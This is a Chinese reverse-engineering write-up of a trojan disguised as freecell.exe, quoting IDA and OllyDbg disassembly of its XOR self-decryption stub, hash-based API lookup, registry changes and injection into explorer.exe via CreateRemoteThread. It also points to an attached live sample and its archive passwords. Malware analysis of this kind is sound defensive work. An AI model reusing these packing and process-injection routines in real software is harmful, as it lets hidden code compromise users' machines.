工 具:IDA5.2,Ollydgb,winhex,hiew,vmware.
心 情:心情不好。
特别申明:附件里面的exe-1文件为木马,如想调试分析,请在虚拟环境中调试,切不可在本机执行。
特别申明:附件里面的exe-1文件为木马,如想调试分析,请在虚拟环境中调试,切不可在本机执行。
特别申明:附件里面的exe-1文件为木马,如想调试分析,请在虚拟环境中调试,切不可在本机执行。


最近收到一个木马程序,每次分析一个木马总是草草了事,这次稍微认真的分析了一把,哎,流程化的工作害死人,害得人技术僵化,不思进取,最近挺郁闷的。

用IDA打开要分析的木马:通过IDA Function 标签可以立马定位到一张虚函数表,看到IDA给出的提示信息,应该是mfc库,除此之外没看到任何有用的信息,难道有加密?

rdata:00402138 E2 11 40 00             off_402138      dd offset ?GetRuntimeClass@CWinApp@@UBEPAUCRuntimeClass@@XZ
.rdata:00402138                                                                 ; DATA XREF: sub_401080-56o
.rdata:00402138                                                                 ; .data:off_405190o
.rdata:00402138                                                                 ; CWinApp::GetRuntimeClass(void)
.rdata:0040213C 40 10 40 00                             dd offset sub_401040  (CWinApp::~CWinApp(void) 析构函数)
.rdata:00402140 F0 10 40 00                             dd offset nullsub_2    
.rdata:00402144 E0 10 40 00                             dd offset nullsub_3
.rdata:00402148 F0 10 40 00                             dd offset nullsub_2
.rdata:0040214C DC 11 40 00                             dd offset ?OnCmdMsg@CCmdTarget@@UAEHIHPAXPAUAFX_CMDHANDLERINFO@@@Z ; CCmdTarget::OnCmdMsg(uint,int,void *,AFX_CMDHANDLERINFO *)
.rdata:00402150 D6 11 40 00                             dd offset ?OnFinalRelease@CCmdTarget@@UAEXXZ ; CCmdTarget::OnFinalRelease(void)
.rdata:00402154 D0 11 40 00                             dd offset ?IsInvokeAllowed@CCmdTarget@@UAEHJ@Z ; CCmdTarget::IsInvokeAllowed(long)
.rdata:00402158 CA 11 40 00                             dd offset ?GetConnectionHook@CCmdTarget@@MAEPAUIConnectionPoint@@ABU_GUID@@@Z ; CCmdTarget::GetConnectionHook(_GUID const &)
.rdata:0040215C C4 11 40 00                             dd offset ?GetTypeInfoCount@CCmdTarget@@UAEIXZ ; CCmdTarget::GetTypeInfoCount(void)
.rdata:00402160 BE 11 40 00                             dd offset MFC42_3825
.rdata:00402164 B8 11 40 00                             dd offset ?GetTypeLib@CCmdTarget@@UAEJKPAPAUITypeLib@@@Z ; CCmdTarget::GetTypeLib(ulong,ITypeLib * *)
.rdata:00402168 10 10 40 00                             dd offset sub_401010
.rdata:0040216C B2 11 40 00                             dd offset ?GetCommandMap@CCmdTarget@@MBEPBUAFX_OLECMDMAP@@XZ ; CCmdTarget::GetCommandMap(void)
.rdata:00402170 AC 11 40 00                             dd offset ?GetDispatchMap@CCmdTarget@@MBEPBUAFX_DISPMAP@@XZ ; CCmdTarget::GetDispatchMap(void)
.rdata:00402174 A6 11 40 00                             dd offset ?GetConnectionMap@CCmdTarget@@MBEPBUAFX_CONNECTIONMAP@@XZ ; CCmdTarget::GetConnectionMap(void)
.rdata:00402178 A0 11 40 00                             dd offset ?GetInterfaceMap@CCmdTarget@@MBEPBUAFX_INTERFACEMAP@@XZ ; CCmdTarget::GetInterfaceMap(void)
.rdata:0040217C 9A 11 40 00                             dd offset ?GetEventSinkMap@CCmdTarget@@MBEPBUAFX_EVENTSINKMAP@@XZ ; CCmdTarget::GetEventSinkMap(void)
.rdata:00402180 94 11 40 00                             dd offset ?CheckAutoCenter@CWnd@@UAEHXZ ; CWnd::CheckAutoCenter(void)
.rdata:00402184 8E 11 40 00                             dd offset MFC42_2982_1
.rdata:00402188 88 11 40 00                             dd offset MFC42_2982_0
.rdata:0040218C 82 11 40 00                             dd offset MFC42_2982
.rdata:00402190 B0 10 40 00                             dd offset sub_4010B0 (CWinApp::::InitInstance())注意这里,MFC的程序的入口点.rdata:00402194 7C 11 40 00                             dd offset ?Run@CWinApp@@UAEHXZ ; CWinApp::Run(void)
.rdata:00402198 76 11 40 00                             dd offset ?PreTranslateMessage@CWinThread@@UAEHPAUtagMSG@@@Z ; CWinThread::PreTranslateMessage(tagMSG *)
.rdata:0040219C 70 11 40 00                             dd offset ?PumpMessage@CWinThread@@UAEHXZ ; CWinThread::PumpMessage(void)
.rdata:004021A0 6A 11 40 00                             dd offset ?OnIdle@CWinApp@@UAEHJ@Z ; CWinApp::OnIdle(long)
.rdata:004021A4 64 11 40 00                             dd offset ?IsIdleMessage@CWinThread@@UAEHPAUtagMSG@@@Z ; CWinThread::IsIdleMessage(tagMSG *)
.rdata:004021A8 5E 11 40 00                             dd offset ?ExitInstance@CWinApp@@UAEHXZ ; CWinApp::ExitInstance(void)
.rdata:004021AC 58 11 40 00                             dd offset ?ProcessWndProcException@CWinApp@@UAEJPAVCException@@PBUtagMSG@@@Z ; CWinApp::ProcessWndProcException(CException *,tagMSG const *)
.rdata:004021B0 52 11 40 00                             dd offset ?ProcessMessageFilter@CWinThread@@UAEHHPAUtagMSG@@@Z ; CWinThread::ProcessMessageFilter(int,tagMSG *)
.rdata:004021B4 4C 11 40 00                             dd offset ?GetMainWnd@CWinThread@@UAEPAVCWnd@@XZ ; CWinThread::GetMainWnd(void)
.rdata:004021B8 46 11 40 00                             dd offset ?Delete@CWinThread@@UAEXXZ ; CWinThread::Delete(void)
.rdata:004021BC 40 11 40 00                             dd offset ?OpenDocumentFile@CWinApp@@UAEPAVCDocument@@PBD@Z ; CWinApp::OpenDocumentFile(char const *)
.rdata:004021C0 3A 11 40 00                             dd offset ?AddToRecentFileList@CWinApp@@UAEXPBD@Z ; CWinApp::AddToRecentFileList(char const *)
.rdata:004021C4 34 11 40 00                             dd offset ?InitApplication@CWinApp@@UAEHXZ ; CWinApp::InitApplication(void)
.rdata:004021C8 2E 11 40 00                             dd offset ?SaveAllModified@CWinApp@@UAEHXZ ; CWinApp::SaveAllModified(void)
.rdata:004021CC 28 11 40 00                             dd offset ?DoMessageBox@CWinApp@@UAEHPBDII@Z ; CWinApp::DoMessageBox(char const *,uint,uint)
.rdata:004021D0 22 11 40 00                             dd offset ?DoWaitCursor@CWinApp@@UAEXH@Z ; CWinApp::DoWaitCursor(int)
.rdata:004021D4 1C 11 40 00                             dd offset ?OnDDECommand@CWinApp@@UAEHPAD@Z ; CWinApp::OnDDECommand(char *)
.rdata:004021D8 16 11 40 00                             dd offset ?WinHelpA@CWinApp@@UAEXKI@Z ; CWinApp::WinHelpA(ulong,uint)
.rdata:004021DC 00                                      db    0


在IDA 中定位到 dd offset sub_4010B0 ,注意:因为用IDA打开程序仅仅发现了一张虚函数表,所以此程序仅仅用到了一个类,由于这张虚函数表是由编译器加入的一段mfc的源代码,
所以这个CWinApp::InitInstance() 也是固定的地址,sub_4010B0(为此你可以写一个对话框的程序自己分析分析,看看是否与我上面给出的虚函数表十分相同,一般VC向导生成的
对话框程序,会用到两个类实例CWinApp,CDialog(about对话框),所以会有两张虚函数表)

好的,定位到 Sub_4010B0

.text:004010B0                         sub_4010B0      proc near               ; DATA XREF: .rdata:00402190o
.text:004010B0 33 C0                                   xor     eax, eax
.text:004010B2 B1 AB                                   mov     cl, 0ABh
.text:004010B4
.text:004010B4                         loc_4010B4:                             ; CODE XREF: sub_4010B0+18j
.text:004010B4 8A 90 20 30 40 00                       mov     dl, byte_403020[eax]
.text:004010BA 32 D1                                   xor     dl, cl
.text:004010BC 88 90 20 30 40 00                       mov     byte_403020[eax], dl
.text:004010C2 40                                      inc     eax
.text:004010C3 3D 60 21 00 00                          cmp     eax, 2160h
.text:004010C8 7C EA                                   jl      short loc_4010B4
.text:004010CA 8D 05 20 30 40 00                       lea     eax, byte_403020
.text:004010D0 FF D0                                   call    eax
.text:004010D2 33 C0                                   xor     eax, eax
.text:004010D4 C3                                      retn
.text:004010D4                         sub_4010B0      endp

果然,有一段解密代码,难怪起初看不到任何有害的代码,不过这段解密算是简单,仅仅是将403020(数据段),里面的数据与cl=0abh 做字节异或,异或长度为2160h
所以我写了一个简单的IDC 脚本(你也可以用OD来下断点调试)
脚本:

auto start,length,key,index;
start=ScreenEA();
length=0x2160;
key=0xab;
index=0;
for(;index <length;index++)
{
  PatchByte(start,Byte(start)^key);
  start++;
}  

在IDA中定位到403020 将光标定位到403020 Shift+F2 输入以上代码,则原先被加密起来的代码,就被解密掉了(解密是为以后动态分析,和静态做记录提供方便,
不过你也可以用OD载入运行到004010D0 后用OD的dump 插件dump后接着用IDA分析,附件里面的dump.idb文件就是解密后从ODdump出来的文件)

在虚拟机中用OD载入木马程序,直接在 4010d2 F2下断点,断下后F7进入,则就到了真正的木马程序部分。

在未用的堆栈区分配一片内存

data:00403020 55                                      push    ebp
.data:00403021 8B EC                                   mov     ebp, esp
.data:00403023 81 C4 3C F2 FF FF                       add     esp, 0FFFFF23Ch
.data:00403029 60                                      pusha
.data:0040302A 33 C0                                   xor     eax, eax
.data:0040302C 8D BD 90 F2 FF FF                       lea     edi, [ebp-0D70h]
.data:00403032 B9 5B 0D 00 00                          mov     ecx, 0D5Bh
.data:00403037 F3 AA                                   rep stosb                   //分配内存
.data:00403039 33 C0                                   xor     eax, eax
.data:0040303B 8D BD 4C F2 FF FF                       lea     edi, [ebp-0DB4h]
.data:00403041 B9 44 00 00 00                          mov     ecx, 44h            //分配内存
.data:00403046 F3 AA                                   rep stosb
.data:00403048 C7 85 B9 F3 FF FF E6 00+                mov     dword ptr [ebp-0C47h], 0E6h
.data:00403052 E9 A6 13 00 00                          jmp     loc_4043FD           //跳转跟进

接着是一处循环,利用rdtsc (读入cpu时间戳到EDX:EAX)(之初以为它是想做反调试,作用其实跟GetTickcount 比较一些指令之间的时间差,最后发现并没有比较这个)
循环中,是将时间戳的EAX部分连续乘以0AC564B05h 22h 次,并将每次的积放入上面分配的内存里面。(可能以后有用,且不管)

.data:004043FD 8D B5 90 F2 FF FF                       lea     esi, [ebp-0D70h]
.data:00404403 0F 31                                   rdtsc
.data:00404405 92                                      xchg    eax, edx
.data:00404406 33 C9                                   xor     ecx, ecx
.data:00404408
.data:00404408                         loc_404408:                             ; CODE XREF: .data:0040441Ej
.data:00404408 69 C0 05 4B 56 AC                       imul    eax, 0AC564B05h
.data:0040440E 83 C0 01                                add     eax, 1
.data:00404411 89 84 8E D9 08 00 00                    mov     [esi+ecx*4+8D9h], eax
.data:00404418 83 C1 01                                add     ecx, 1
.data:0040441B 83 F9 22                                cmp     ecx, 22h
.data:0040441E 72 E8                                   jb      short loc_404408

接着往下看 sub_40439E,被调用了两处,其中一处是在一个循环中,这个函数是对上面的 时间戳数组做了一轮变换(一下代码应该比较明显)

data:0040439E                         sub_40439E      proc near               ; CODE XREF: .data:0040443Cp
.data:0040439E                                                                 ; .data:loc_404447p
.data:0040439E 53                                      push    ebx
.data:0040439F 8B 9E D1 08 00 00                       mov     ebx, [esi+8D1h]     //取出需要变换的数据
.data:004043A5 8B 8E D5 08 00 00                       mov     ecx, [esi+8D5h]     //取出需要变换的数据
.data:004043AB 8B 94 33 D9 08 00 00                    mov     edx, [ebx+esi+8D9h]
.data:004043B2 8B 84 33 DD 08 00 00                    mov     eax, [ebx+esi+8DDh]
.data:004043B9 C1 C2 13                                rol     edx, 13h             //移位变换
.data:004043BC C1 C0 1B                                rol     eax, 1Bh             //移位变换
.data:004043BF 03 94 31 D9 08 00 00                    add     edx, [ecx+esi+8D9h]
.data:004043C6 03 84 31 DD 08 00 00                    add     eax, [ecx+esi+8DDh]
.data:004043CD 89 84 33 D9 08 00 00                    mov     [ebx+esi+8D9h], eax
.data:004043D4 89 94 33 DD 08 00 00                    mov     [ebx+esi+8DDh], edx
.data:004043DB 83 EB 08                                sub     ebx, 8
.data:004043DE 73 05                                   jnb     short loc_4043E5
.data:004043E0 BB 80 00 00 00                          mov     ebx, 80h
.data:004043E5
.data:004043E5                         loc_4043E5:                             ; CODE XREF: sub_40439E+40j
.data:004043E5 83 E9 08                                sub     ecx, 8
.data:004043E8 73 05                                   jnb     short loc_4043EF
.data:004043EA B9 80 00 00 00                          mov     ecx, 80h
.data:004043EF
.data:004043EF                         loc_4043EF:                             ; CODE XREF: sub_40439E+4Aj
.data:004043EF 89 9E D1 08 00 00                       mov     [esi+8D1h], ebx     //保存变化后的数据
.data:004043F5 89 8E D5 08 00 00                       mov     [esi+8D5h], ecx     //保存变化后的数据
.data:004043FB 5B                                      pop     ebx
.data:004043FC C3                                      retn
.data:004043FC                         sub_40439E      endp


接下来用fs:30,找到PEB,进而找到 kernel32.dll 在内存中的加载地址


.data:00404452 64 A1 30 00 00 00                       mov     eax, large fs:30h
.data:00404458 8B 40 0C                                mov     eax, [eax+0Ch]
.data:0040445B 8B 70 1C                                mov     esi, [eax+1Ch]
.data:0040445E AD                                      lodsd              
.data:0040445F FF 70 08                                push    dword ptr [eax+8] 得到kernel的加载地址 
.data:00404462 8F 85 4B FD FF FF                       pop     dword ptr [ebp-2B5h]
.data:00404468 68 AD D1 34 41                          push    4134D1ADh            //LoadlibrayA函数的信息摘要 ,姑且这样说吧)
.data:0040446D FF B5 4B FD FF FF                       push    dword ptr [ebp-2B5h]
.data:00404473 6A 00                                   push    0
.data:00404475 E8 B4 F7 FF FF                          call    sub_403C2E  (这个函数是一个利用信息摘要寻在对应的API)
.data:0040447A 89 85 2D F3 FF FF                       mov     [ebp-0CD3h], eax
.data:00404480 E8 09 00 00 00                          call    near ptr loc_40448D+1
.data:00404485 61                                      popa
.data:00404486                                         db      64h
.data:00404486 64 76 61                                jbe     short loc_4044EA
.data:00404489 70 69                                   jo      short loc_4044F4
.data:0040448B 33 32                                   xor     esi, [edx]
.data:0040448D
.data:0040448D                         loc_40448D:                             ; CODE XREF: .data:00404480p
.data:0040448D 00 FF                                   add     bh, bh
.data:0040448F 95                                      xchg    eax, ebp
.data:00404490 2D F3 FF FF 89                          sub     eax, 89FFFFF3h
.data:00404495 85 63 FD                                test    [ebx-3], esp

函数 sub_403C2E 是获得函数的地址,在遍历导出函数时,先将函数的名字用用摘要算法生成摘要,并与预期的摘要相比,如相等,则将此函数地址返回。
sub_403C2E 里面实际上是索引所有导出函数。要了解请参考PE结构里面的导出表。

继续往下,进入 call loc_40448E

分析到这里,考虑到OD会在调试的时候给出一些API的提示信息,将有助于我们理解木马的行为,请出OD

Ctr+G 到达 40448E,在此下硬件可执行断点 F9 运行 断在40448e

OD F7一路往前走 到达
00404621   833F 00          CMP DWORD PTR DS:[EDI],0
00404624   74 1C            JE SHORT freecell.00404642
00404626   0FB747 04        MOVZX EAX,WORD PTR DS:[EDI+4]
0040462A   FF37             PUSH DWORD PTR DS:[EDI]          //EDI=4044ce 这里存储就是我说的一些API的信息摘要,这里逐个获得API的地址
0040462C   FF3430           PUSH DWORD PTR DS:[EAX+ESI]
0040462F   6A 00            PUSH 0
00404631   E8 F8F5FFFF      CALL freecell.00403C2E           //sub_403C2E(通过信息摘要获得API地址)
00404636   0FB757 06        MOVZX EDX,WORD PTR DS:[EDI+6]
0040463A   890432           MOV DWORD PTR DS:[EDX+ESI],EAX
0040463D   83C7 08          ADD EDI,8
00404640  ^EB DF            JMP SHORT freecell.00404621      //jump to 404621 这里是一个循环,旨在通过信息摘要表获得APIs

上述循环在 
00404621   833F 00          CMP DWORD PTR DS:[EDI],0
跳出

00404624   74 1C            JE SHORT freecell.00404642

F4到00404642

继续F7跟进 到达如下

00404642   E8 00000000      CALL freecell.00404647  F7跟进(实际到达下一条指令)
00404647   5E               POP ESI
00404648   81C6 9A020000    ADD ESI,29A
0040464E   8DBD 90F2FFFF    LEA EDI,DWORD PTR SS:[EBP-D70]     //用上了之前分配的内存
00404654   0FB706           MOVZX EAX,WORD PTR DS:[ESI]
00404657   0FB74E 02        MOVZX ECX,WORD PTR DS:[ESI+2]
0040465B   83C6 04          ADD ESI,4
0040465E   03C7             ADD EAX,EDI
00404660   51               PUSH ECX
00404661   51               PUSH ECX
00404662   56               PUSH ESI
00404663   50               PUSH EAX
00404664   FF95 39F3FFFF    CALL DWORD PTR SS:[EBP-CC7]              ; ntdll.RtlMoveMemory
0040466A   59               POP ECX
0040466B   03F1             ADD ESI,ECX
0040466D   66:833E 00       CMP WORD PTR DS:[ESI],0
00404671  ^75 E1            JNZ SHORT freecell.00404654         //Jump to 00404654 循环拷贝解密后的字符串到在最前面那阶段分配的内存里

可以在内存中观看拷贝的字符串:一些注册表键值,木马拷贝到说system32目录下的名字,以及其创建的mutex...

00404682   6A 01            PUSH 1
00404684   8D85 90F2FFFF    LEA EAX,DWORD PTR SS:[EBP-D70]
0040468A   50               PUSH EAX
0040468B   83C6 04          ADD ESI,4
0040468E   FFD6             CALL ESI                                 ; freecell.00404A3C F7 跟进

一路F8,注册表操作

00404BB9   50               PUSH EAX
00404BBA   68 3F000F00      PUSH 0F003F
00404BBF   6A 00            PUSH 0
00404BC1   8D86 56040000    LEA EAX,DWORD PTR DS:[ESI+456]
00404BC7   50               PUSH EAX                                 ; ASCII "Software\Microsoft\Active Setup\Installed Components\"
00404BC8   68 01000080      PUSH 80000001
00404BCD   FF56 35          CALL DWORD PTR DS:[ESI+35]               ; ADVAPI32.RegOpenKeyExA
00404BD0   8D86 65010000    LEA EAX,DWORD PTR DS:[ESI+165]
00404BD6   50               PUSH EAX
00404BD7   FF75 FC          PUSH DWORD PTR SS:[EBP-4]
00404BDA   FF56 41          CALL DWORD PTR DS:[ESI+41]               ; ADVAPI32.RegDeleteKeyA 
00404BDD   FF75 FC          PUSH DWORD PTR SS:[EBP-4]
00404BE0   FF56 31          CALL DWORD PTR DS:[ESI+31]               
00404BE3   837D 0C 01       CMP DWORD PTR SS:[EBP+C],1
00404BE7   75 04            JNZ SHORT freecell.00404BED
00404BE9   C9               LEAVE
00404BEA   C2 0800          RETN 8

返回到:404690

00404690   68 92F3DC04      PUSH 4DCF392                    ;GetMoudleFileNameA
00404695   FFB5 4BFDFFFF    PUSH DWORD PTR SS:[EBP-2B5]
0040469B   6A 00            PUSH 0
0040469D   E8 8CF5FFFF      CALL freecell.00403C2E           ;sub_00403C2E()
004046A2   68 FF000000      PUSH 0FF
004046A7   8D9D 42F8FFFF    LEA EBX,DWORD PTR SS:[EBP-7BE]
004046AD   53               PUSH EBX
004046AE   6A 00            PUSH 0
004046B0   FFD0             CALL EAX                        ;call GetMoudleFileNameA
004046B2   50               PUSH EAX
004046B3   68 03BF2139      PUSH 3921BF03                   ;GetCommandLineA
004046B8   FFB5 4BFDFFFF    PUSH DWORD PTR SS:[EBP-2B5]
004046BE   6A 00            PUSH 0
004046C0   E8 69F5FFFF      CALL freecell.00403C2E          ;sub_00403C2E()
004046C5   FFD0             CALL EAX                        ;call GetCommandLineA
004046C7   50               PUSH EAX
004046C8   FF95 80FDFFFF    CALL DWORD PTR SS:[EBP-280]     ;Kernel.Istrlen
004046CE   83E8 03          SUB EAX,3
004046D1   59               POP ECX
004046D2   3BC8             CMP ECX,EAX
004046D4   75 2D            JNZ SHORT freecell.00404703
004046D6   8D85 3CF2FFFF    LEA EAX,DWORD PTR SS:[EBP-DC4]
004046DC   50               PUSH EAX
004046DD   8D85 4CF2FFFF    LEA EAX,DWORD PTR SS:[EBP-DB4]
004046E3   50               PUSH EAX
004046E4   6A 00            PUSH 0
004046E6   6A 00            PUSH 0
004046E8   6A 00            PUSH 0
004046EA   6A 00            PUSH 0
004046EC   6A 00            PUSH 0
004046EE   6A 00            PUSH 0
004046F0   8D85 9FF6FFFF    LEA EAX,DWORD PTR SS:[EBP-961]
004046F6   50               PUSH EAX
004046F7   53               PUSH EBX
004046F8   FF95 BDF2FFFF    CALL DWORD PTR SS:[EBP-D43]
004046FE   E9 DB010000      JMP freecell.004048DE
00404703   E8 08000000      CALL freecell.00404710

F7 进入 freecell.00404710
00404710   FF95 2DF3FFFF    CALL DWORD PTR SS:[EBP-CD3]                ;LoadLibrary
00404716   68 6B37047E      PUSH 7E04376B                              ;IsNTAdmin
0040471B   50               PUSH EAX
0040471C   6A 00            PUSH 0
0040471E   E8 0BF5FFFF      CALL freecell.00403C2E
00404723   6A 00            PUSH 0
00404725   6A 00            PUSH 0
00404727   FFD0             CALL EAX
00404729   8885 3FFBFFFF    MOV BYTE PTR SS:[EBP-4C1],AL
0040472F   68 0E03E5E6      PUSH E6E5030E                              ;RtGetLastError
00404734   FFB5 6BFDFFFF    PUSH DWORD PTR SS:[EBP-295]
0040473A   6A 00            PUSH 0
0040473C   E8 EDF4FFFF      CALL freecell.00403C2E
00404741   0BC0             OR EAX,EAX
00404743   75 12            JNZ SHORT freecell.00404757
00404745   68 942CD587      PUSH 87D52C94
0040474A   FFB5 4BFDFFFF    PUSH DWORD PTR SS:[EBP-2B5]
00404750   6A 00            PUSH 0
00404752   E8 D7F4FFFF      CALL freecell.00403C2E
00404757   8985 19F3FFFF    MOV DWORD PTR SS:[EBP-CE7],EAX
0040475D   8D85 8BF6FFFF    LEA EAX,DWORD PTR SS:[EBP-975]
00404763   50               PUSH EAX                                 ; )!VOA.I4
00404764   6A 00            PUSH 0
00404766   6A 00            PUSH 0
00404768   FF95 15F3FFFF    CALL DWORD PTR SS:[EBP-CEB]              ; kernel32.CreateMutexA
0040476E   8945 FC          MOV DWORD PTR SS:[EBP-4],EAX
00404771   FF95 19F3FFFF    CALL DWORD PTR SS:[EBP-CE7]
00404777   3D B7000000      CMP EAX,0B7
0040477C   0F84 5C010000    JE freecell.004048DE
00404782   FF75 FC          PUSH DWORD PTR SS:[EBP-4]
00404785   FF95 31F3FFFF    CALL DWORD PTR SS:[EBP-CCF]              ; kernel32.CloseHandle

一路F8 遇到 4047AB 跟进,这里将枚举进程并获得直到枚举到explorer,返回其进程ID,以备木马将有害代码注入其中:我这里直接给出我分析过的东西
并将一些函数已经做了注解,附件里面包括了该木马分析的IDB文件

.data:004047AB                         loc_4047AB:                             ; CODE XREF: sub_404710+89p
.data:004047AB 8D 85 90 F2 FF FF                       lea     eax, [ebp-0D70h]
.data:004047B1 50                                      push    eax
.data:004047B2 E8 61 F5 FF FF                          call    Obtain_PIDofExplorer //address is 403d18 in od
.data:004047B7 0B C0                                   or      eax, eax
.data:004047B9 75 14                                   jnz     short loc_4047CF
.data:004047BB 68 E8 03 00 00                          push    3E8h
.data:004047C0 FF 95 35 F3 FF FF                       call    dword ptr [ebp-0CCBh]
.data:004047C6 C7 45 F0 00 00 00 00                    mov     dword ptr [ebp-10h], 0
.data:004047CD EB C3                                   jmp     short loc_404792
.data:004047CF                         ; ---------------------------------------------------------------------------
.data:004047CF
.data:004047CF                         loc_4047CF:                             ; CODE XREF: .data:004047B9j
.data:004047CF 50                                      push    eax
.data:004047D0 6A 00                                   push    0
.data:004047D2
.data:004047D2                         loc_4047D2:                             ; CODE XREF: sub_404710+95j
.data:004047D2 68 FF 0F 1F 00                          push    1F0FFFh
.data:004047D7 FF 95 25 F3 FF FF                       call    dword ptr [ebp-0CDBh] ; OpenProcess : Open explorer.exe
.data:004047DD 83 F8 00                                cmp     eax, 0
.data:004047E0 74 B0                                   jz      short loc_404792
.data:004047E2 89 45 F4                                mov     [ebp-0Ch], eax
.data:004047E5 E8 00 00 00 00                          call    $+5
.data:004047EA 58                                      pop     eax
.data:004047EB 2D 93 17 00 00                          sub     eax, 1793h
.data:004047F0 50                                      push    eax
.data:004047F1 68 47 13 00 00                          push    1347h
.data:004047F6 FF 75 F4                                push    dword ptr [ebp-0Ch]
.data:004047F9 8D 85 90 F2 FF FF                       lea     eax, [ebp-0D70h]
.data:004047FF 50                                      push    eax
.data:00404800 E8 ED F3 FF FF                          call    WriteCodeintoExplorer          //将木马的代码拷贝进explorer.exe进程
.data:00404805 E8 44 00 00 00                          call    WriteMoreCodeintoExplorer      //F7 跟进


WriteMoreCodeintoExplorer 函数,将剩余的代码写入Explorer.exe进程,前前后后总共拷贝了四次才将所有有害代码完全注入到explorere.exe中,注入完全后,调用CreateRemoteThread 启动 拷贝进去的代码

.data:0040484E                         WriteMoreCodeintoExplorer proc near     ; CODE XREF: .data:00404805p
.data:0040484E 59                                      pop     ecx
.data:0040484F 8D B5 90 F2 FF FF                       lea     esi, [ebp-0D70h]
.data:00404855
.data:00404855                         loc_404855:                             ; CODE XREF: WriteMoreCodeintoExplorer+1Dj
.data:00404855 0F B7 11                                movzx   edx, word ptr [ecx]
.data:00404858 89 04 32                                mov     [edx+esi], eax
.data:0040485B 66 83 79 02 00                          cmp     word ptr [ecx+2], 0
.data:00404860 74 0B                                   jz      short loc_40486D
.data:00404862 0F B7 51 02                             movzx   edx, word ptr [ecx+2]
.data:00404866 03 C2                                   add     eax, edx
.data:00404868 83 C1 04                                add     ecx, 4
.data:0040486B EB E8                                   jmp     short loc_404855
.data:0040486D                         ; ---------------------------------------------------------------------------
.data:0040486D
.data:0040486D                         loc_40486D:                             ; CODE XREF: WriteMoreCodeintoExplorer+12j
.data:0040486D 8B 7D EC                                mov     edi, [ebp-14h]
.data:00404870 66 83 3F 00                             cmp     word ptr [edi], 0
.data:00404874 74 00                                   jz      short $+2
.data:00404876
.data:00404876                         loc_404876:                             ; CODE XREF: WriteMoreCodeintoExplorer+4Bj
.data:00404876 0F B7 07                                movzx   eax, word ptr [edi]
.data:00404879 0F B7 4F 02                             movzx   ecx, word ptr [edi+2]
.data:0040487D 83 C7 04                                add     edi, 4
.data:00404880 03 C6                                   add     eax, esi
.data:00404882 51                                      push    ecx
.data:00404883 50                                      push    eax
.data:00404884 57                                      push    edi
.data:00404885 51                                      push    ecx
.data:00404886 FF 75 F4                                push    dword ptr [ebp-0Ch]
.data:00404889 56                                      push    esi
.data:0040488A E8 63 F3 FF FF                          call    WriteCodeintoExplorer
.data:0040488F 59                                      pop     ecx
.data:00404890 89 01                                   mov     [ecx], eax
.data:00404892 59                                      pop     ecx
.data:00404893 03 F9                                   add     edi, ecx
.data:00404895 66 83 3F 00                             cmp     word ptr [edi], 0
.data:00404899 75 DB                                   jnz     short loc_404876
.data:0040489B 8D 85 90 F2 FF FF                       lea     eax, [ebp-0D70h]
.data:004048A1 50                                      push    eax
.data:004048A2 68 5B 0D 00 00                          push    0D5Bh
.data:004048A7 FF 75 F4                                push    dword ptr [ebp-0Ch]
.data:004048AA 50                                      push    eax
.data:004048AB E8 42 F3 FF FF                          call    WriteCodeintoExplorer
.data:004048B0 8D 4D F8                                lea     ecx, [ebp-8]
.data:004048B3 51                                      push    ecx
.data:004048B4 6A 00                                   push    0
.data:004048B6 50                                      push    eax
.data:004048B7 FF B5 65 F3 FF FF                       push    dword ptr [ebp-0C9Bh]
.data:004048BD 6A 00                                   push    0
.data:004048BF 6A 00                                   push    0
.data:004048C1 FF 75 F4                                push    dword ptr [ebp-0Ch]
.data:004048C4 FF 95 59 F3 FF FF                       call    dword ptr [ebp-0CA7h] ; CreateRemoteThread 开启远程进程启动注入到explorer中的代码
.data:004048CA 50                                      push    eax
.data:004048CB FF 75 F4                                push    dword ptr [ebp-0Ch]
.data:004048CE FF 95 31 F3 FF FF                       call    dword ptr [ebp-0CCFh]
.data:004048D4 58                                      pop     eax
.data:004048D5 83 F8 00                                cmp     eax, 0

你可以用,winhex 来查看被注入到exploere中的机器字节码,地址是CreateRemoteThread 中的一个参数

至此,本木马的注入过程已经完成,如果要继续调试其注入的进程,你可以在上面的第一个注入代码 函数 WriteCodeintoExplorer 执行之前,将
00403057 处的第一个字节修改成CC,并在CreateRemoteThread 执行之前,将OD 设置成 即时调试器,然后当 远程线程被调用时,cc int3中断将导致OD被呼出,呼出后,将OD中断处的int3 (一些溢出利用,也可以用这一方法)修改为push ebp,便可以在explorere中调试注入的代码了。后续分析就不继续了,由你自己完成。

注明,此为木马,用OD调试时,请在虚拟环境下分析。
附件中一个是木马文件(freecell.zip)另外一个是我分析的IDB文件(dump.idb)
附件默认密码是:infected
特别申明:附件里面的exe-1文件为木马,如想调试分析,请在虚拟环境中调试,切不可在本机执行。解压密码::muma123

上传的附件 freecell.rar